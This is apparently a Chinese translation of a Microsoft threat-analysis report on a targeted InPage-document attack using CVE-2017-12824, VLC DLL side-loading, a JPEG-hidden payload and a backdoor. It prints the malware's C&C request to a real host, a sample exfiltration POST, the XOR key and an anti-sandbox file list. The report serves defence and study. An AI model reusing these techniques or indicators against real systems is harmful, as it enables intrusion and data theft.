概述
近期,我们对一个以特定语言文字的文字处理器为目标的病毒进行了分析,并由此证明,我们不仅要防范大规模恶意软件活动,还要防范小规模和本地化的攻击。该攻击利用了InPage的一个漏洞,这是一种用于乌尔都语、波斯语、普什图语和阿拉伯语等特定语言的文字处理软件。
该恶意活动瞄准的目标75%以上都位于巴基斯坦,然而也包含一些欧洲和美国的国家,目标中包含政府机构。
此前,Palo Alto和Kaspersky的研究人员曾发表过关于使用恶意InPage文档发动攻击的分析文章。除了他们发布的文章之外,针对这类攻击的公开研究非常有限。
Office 365研究与响应团队在今年6月发现了这种有针对性的攻击行为。攻击采取以下的步骤:
1、发出包含恶意InPage文档的鱼叉式网络钓鱼邮件,文件名为hafeez saeed speech on 22nd April.inp(Hafeez Saeed在4月22日发表的讲话)。
2、该恶意文档包含CVE-2017-12824的漏洞利用代码,这是InPage阅读器中的缓冲区溢出漏洞,攻击者利用该漏洞投放了一个易受DLL劫持攻击的合法VLC媒体播放器,该播放器是较老版本。
3、侧载(Side-Loaded)的恶意DLL回调到命令与控制(C&C)站点,该站点触发以JPEG文件格式编码最终恶意软件的下载与执行。
4、最终的恶意软件允许攻击者在受感染的计算机上远程执行任意命令。
Office 365高级威胁防护(ATP)通过检测广告恶意软件中的恶意InPage附件来保护客户免受此类威胁。Office 365 ATP可以检查电子邮件中的附件和链接是否属于恶意,并提供实时的攻击防御。
Office 365 ATP使用来自不同数据源的大量威胁情报,并集成了来自Windows Defender ATP和Azure ATP等多种服务的情报信息。例如,Windows Defender Antivirus会检测该攻击中使用的恶意文件和文档那个。Windows Defender ATP中的端点检测与响应(EDR)功能可以检测此次攻击中观察到的DLL侧载和恶意行为。通过在Microsoft威胁防护中集成Office 365 ATP和其他Microsoft的安全技术,该解决方案可以实现对这一威胁的检测与修复。
入口点:恶意InPage文档
在附带恶意InPage诱导文档的电子邮件发送到特定目标后,该文档会利用CVE-2017-12842漏洞,该漏洞是InPage中允许任意代码执行的漏洞。当打开恶意InPage文档后,它会执行解密,随后执行嵌入式恶意DLL文件的Shellcode。解密例程是一个使用解密密钥“27729984h”的简单XOR函数。
第一个DLL解密函数:
第一阶段:DLL Side-loading和C&C通信
解密的恶意DLL包含嵌入在PE资源段的两个文件。第一个资源文件名为200,它是VLC媒体播放器的合法版本(产品版本2.2.1.0,文件版本2.2.1)。第二个文件名为400,这是一个模仿合法文件Libvlc.dll的DLL劫持程序。
运行时,第一阶段恶意软件会投放VLC媒体播放器可执行文件和%TEMP%文件夹中的恶意Libvlc.dll,然后运行VLC媒体播放器进程。
易受攻击的VLC媒体播放器进程在其加载目录中搜索已删除的文件Libvlc.dll,随后将找到并加载恶意DLL,执行其恶意功能。
恶意Libvlc.dll导出的函数:
通过VLC媒体播放器进程,从Libvlc.dll导入的函数:
在Libvlc.dll中,最有趣的恶意代码位于函数libvlc_wait()中。恶意代码动态解析API调用,以连接到攻击者的C&C服务器,并下载JPEG文件。如果无法访问C&C服务器,那么恶意软件会调用API sleep()休眠5秒钟,随后再次尝试。
恶意函数libvlc_wait()中的C&C调用:
如果成功下载了JPEG文件logo.jpg,那么libvlc_wait()中的恶意代码将会跳过JPEG文件中的前20个字节,随后创建一个线程,来执行嵌入的Payload。JPEG文件中的代码使用自定义多态ShellCode编码解码器Shikata ga nai进行编码。
恶意软件将下面的HTTP请求发送到C&C,以下载恶意文件logo.jpg。
GET /assets/vnc/logo.jpg HTTP/1.1 Accept: */* Host: useraccount.co HTTP/1.1 200 OK Date: Mon, 09 Jul 2018 13:45:49 GMT Server: Apache/2.4.33 (cPanel) OpenSSL/1.0.2o mod_bwlimited/1.4 Phusion_Passenger/5.1.12 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Mon, 09 Apr 2018 07:19:20 GMT ETag: "26e0378-2086b-56965397b5c31" Accept-Ranges: bytes Content-Length: 133227 Content-Type: image/jpeg
根据历史Whois信息,C&C服务器于2018年3月20日注册。
Domain Name: useraccount.co Registry Domain ID: D2169366F46A14BCD9EB42AF48BEA813C-NSR Registrar WHOIS Server: Registrar URL: whois.publicdomainregistry.com Updated Date: 2018-03-20T14:04:40Z Creation Date: 2018-03-20T14:04:40Z Registry Expiry Date: 2019-03-20T14:04:40Z Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited Domain Status: addPeriod https://icann.org/epp#addPeriod
JPEG文件中的ShellCode,使用多层多态XOR例程来解密最终Payload。成功解密Payload后,它会在文件夹%ProgramData%Dell64中投放最终的DLL恶意文件aflup64.dll并执行。
Header后面的前29个字节,构成了第一个解密层:
有效的JPEG文件头后,紧跟着加密的恶意代码:
第二阶段:系统侦查和执行攻击者命令
最终阶段的恶意软件使用不同的方法来保证持久性。举例来说,恶意函数IntRun()可以加载并执行恶意软件DLL。此外,还使用注册表项CurrentVersionRun来维护持久性。
恶意软件的功能包括:
1、系统侦查:列出计算机名称、Windows版本、机器ID、正在运行的进程、已经加载的模块、系统文件和目录、网络配置;
2、执行攻击者命令;
3、逃避某些沙箱或反病毒产品。
上述收集到的信息,或对命令的响应,还将会以HTTP POST请求发送回攻击者的域名。该请求具有自定义标头,该标头始终以37个硬编码的字母数字字符开头。
恶意软件POST请求的样例:
---------------------n9mc4jh3ft7327hfg78kb41b861ft18bhfb91 Content-Disposition: form-data; name="id"; Content-Type: text/plain <Base64 Data Blob>
该恶意软件还包含安全产品和沙箱解决方案的硬编码文件名列表。如果这些文件存在于恶意软件试图感染的计算机中,那么恶意软件将自动退出:
avgnt.exe avp.exe egui.exe Sbie.dll VxKernelSvcNT.log
使用Office 365 ATP和Windows Defender ATP检测目标攻击
从历史上看,该攻击第二阶段所使用的恶意Payload将被用于窃取凭据和其他敏感信息、安装更多Payload或在网络中横向移动。但是,由于恶意软件为远程攻击者打开了一个后门通道,从而执行他们指定的任意命令,所以也有各种各样的可能性。
企业可以使用Office 365高级威胁防护来保护自己免受目标攻击,该防护可以检测恶意行为,并阻止威胁。Office 365 ATP能够阻止不安全附件、恶意链接,并且能够保护用户安全点击电子邮件中的链接。同时,Office 365还增加了反网络钓鱼的功能,能有效防止用户收到冒充、欺诈、网络钓鱼(包含内部网络钓鱼)的电子邮件。
此外,Windows Defender ATP提供了统一的终端安全平台,用于智能保护、检测、调查和响应。它支持漏洞利用保护、降低攻击面的规则、基于硬件的隔离、控制文件夹访问和网络保护,能够有效减少攻击面。使用Windows Defender Antivirus,可以有效检测这一广告恶意软件系列中使用的恶意文档和文件,并对其进行阻止。Windows Defender ATP的终端检测与响应、自动调查与修复和高级搜索功能,能使安全运维人员检测并阻止企业网络中的攻击。
上述两项服务,与Microsoft的其他安全技术相集成,作为Microsoft威胁防护的一部分。Microsoft威胁防护是一种集成的解决方案,可跨越身份、终端、用户数据、云应用和基础架构,为现代工作场景提供安全性。
网络安全是数字时代的一大核心挑战,微软并没有停止创新,希望能为用户提供业界最佳的安全保障。